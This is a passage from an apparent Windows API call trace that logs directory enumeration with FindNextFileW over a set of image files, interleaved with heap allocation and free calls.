ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="")) returned 1 [0078.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0db0 [0078.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bb4f8 [0078.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.654] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="")) returned 1 [0078.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0dd0 [0078.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bb600 [0078.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.655] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0078.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0df0 [0078.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bb708 [0078.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.655] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="")) returned 1 [0078.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0e10 [0078.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bb810 [0078.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="")) returned 1 [0078.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0e30 [0078.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bb918 [0078.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="")) returned 1 [0078.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0e50 [0078.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bba20 [0078.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePage.gif", cAlternateFileName="")) returned 1 [0078.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0e70 [0078.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bbb28 [0078.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageBlank.gif", cAlternateFileName="")) returned 1 [0078.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0e90 [0078.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bbc30 [0078.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="")) returned 1 [0078.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0eb0 [0078.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bbd38 [0078.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="")) returned 1 [0078.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0ed0 [0078.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bbe40 [0078.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4480) returned 0xacb2b8 [0078.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="")) returned 1 [0078.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0ef0 [0078.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bbf48 [0078.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="")) returned 1 [0078.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0f10 [0078.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bc050 [0078.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="")) returned 1 [0078.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0f30 [0078.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bc158 [0078.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="")) returned 1 [0078.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0f50 [0078.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bc260 [0078.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="")) returned 1 [0078.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0f70 [0078.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bc368 [0078.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="")) returned 1 [0078.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0f90 [0078.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bc470 [0078.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left.gif", cAlternateFileName="")) returned 1 [0078.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0fb0 [0078.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bc578 [0078.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_disable.gif", cAlternateFileName="")) returned 1 [0078.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0fd0 [0078.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bc680 [0078.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_over.gif", cAlternateFileName="")) returned 1 [0078.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0ff0 [0078.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bc788 [0078.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid.gif", cAlternateFileName="")) returned 1 [0078.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1010 [0078.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bc890 [0078.668] 